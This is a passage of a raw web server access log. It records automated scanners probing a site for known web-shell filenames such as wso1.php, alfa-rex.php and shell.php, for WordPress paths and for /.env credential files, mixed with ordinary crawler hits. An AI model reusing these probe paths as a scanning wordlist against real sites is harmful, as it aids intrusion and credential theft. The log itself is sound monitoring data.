rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:07 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:11 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:16 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:19 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:21 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:24 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:26 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:28 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:31 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:34 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:36 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:39 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:42 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:45 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 134.17.14.122 - - [24/Apr/2025:22:39:52 -0400] "GET /not.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 46.105.122.132 - - [24/Apr/2025:22:43:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Vivaldi/5.3.2679.68" 35.215.104.211 - - [24/Apr/2025:23:01:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 188.166.173.113 - - [24/Apr/2025:23:22:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15" 18.223.108.59 - - [24/Apr/2025:23:46:11 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 42.83.147.53 - - [24/Apr/2025:23:47:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 92.223.85.66 - - [24/Apr/2025:23:51:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 132.145.29.111 - - [25/Apr/2025:00:06:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 132.145.29.111 - - [25/Apr/2025:00:06:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 132.145.29.111 - - [25/Apr/2025:00:14:19 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 132.145.29.111 - - [25/Apr/2025:00:14:20 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 132.145.29.111 - - [25/Apr/2025:00:14:24 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 132.145.29.111 - - [25/Apr/2025:00:14:25 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 170.106.165.76 - - [25/Apr/2025:00:17:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 212.102.35.80 - - [25/Apr/2025:00:23:28 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 66.249.79.107 - - [25/Apr/2025:00:54:22 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.107 - - [25/Apr/2025:00:54:24 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 109.70.100.71 - - [25/Apr/2025:00:55:23 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 60.188.57.0 - - [25/Apr/2025:00:55:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.169.149.39 - - [25/Apr/2025:01:03:26 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 212.102.35.80 - - [25/Apr/2025:01:04:39 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 23.137.100.26 - - [25/Apr/2025:01:27:42 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 23.137.100.26 - - [25/Apr/2025:01:27:47 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 23.137.100.26 - - [25/Apr/2025:01:31:33 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 23.137.100.26 - - [25/Apr/2025:01:31:35 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 52.16.33.189 - - [25/Apr/2025:01:46:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 49.51.50.147 - - [25/Apr/2025:02:03:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.32.193.216 - - [25/Apr/2025:02:09:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 145.239.10.137 - - [25/Apr/2025:03:04:27 -0400] "GET /lwbeeshell.php HTTP/1.1" 301 795 "http://designpitara.com/lwbeeshell.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 216.131.105.120 - - [25/Apr/2025:03:16:11 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 114.119.131.123 - - [25/Apr/2025:03:44:42 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 40.123.25.177 - - [25/Apr/2025:04:00:50 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:51 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:51 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:52 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:53 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:54 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:55 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:55 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:56 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:57 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:58 -0400] "GET /wp-includes/random_compat/post.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:58 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:00:59 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:00 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:01 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:01 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:01 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:02 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:02 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:03 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:04 -0400] "GET /wp-includes/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:04 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:05 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:05 -0400] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:05 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:06 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:07 -0400] "GET /wp-includes/images/media/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:09 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:11 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:13 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:14 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:15 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:16 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:17 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:17 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:18 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:18 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:19 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:20 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:20 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:21 -0400] "GET /wp-admin/network/post.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:21 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:22 -0400] "GET /wp-includes/php-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:23 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:23 -0400] "GET /wp-includes/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:23 -0400] "GET /disoxrmons.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:24 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:25 -0400] "GET /wp-includes/images/wlw/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:25 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:25 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:26 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:26 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:27 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:27 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:28 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:29 -0400] "GET /.well-knownold/cookie.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:29 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:30 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:30 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:31 -0400] "GET /assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:31 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:32 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:32 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:33 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:33 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:34 -0400] "GET /wp-includes/interactivity-api/flower.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:34 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:35 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:35 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:35 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:36 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:36 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:36 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:37 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:37 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:38 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:38 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:38 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:39 -0400] "GET /admin/controller/extension/extension/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:39 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:39 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:40 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:40 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:40 -0400] "GET /wp-content/mu-plugins-old/flower.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:41 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:41 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:41 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:42 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:42 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:43 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:43 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:43 -0400] "GET /sad/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:44 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:45 -0400] "GET /upload/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:45 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:46 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:46 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:47 -0400] "GET /wp-content/uploads/2019/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:47 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:47 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:48 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:48 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:49 -0400] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:49 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:49 -0400] "GET /wp-includes/Requests/Transport/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:49 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:50 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:50 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:50 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:51 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:51 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:52 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:52 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:53 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:53 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:53 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:54 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:54 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:55 -0400] "GET /wp-content/pm.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:55 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:56 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:56 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:57 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:57 -0400] "GET /admin/controller/extension/extension/new.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:57 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:58 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:58 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:58 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:59 -0400] "GET /wp-includes/PHPMailer/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:59 -0400] "GET /wp-admin/css/colors/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:01:59 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:00 -0400] "GET /wp-content/uploads/2023/08/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:00 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:00 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:01 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:01 -0400] "GET /system/new.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:01 -0400] "GET /wp-includes/blocks/block/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:02 -0400] "GET /wp-content/themes/twentyseventeen/page/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:03 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:04 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:04 -0400] "GET /wp-includes/js/codemirror/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:05 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:05 -0400] "GET /wp-includes/Text/Diff/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:06 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:06 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:07 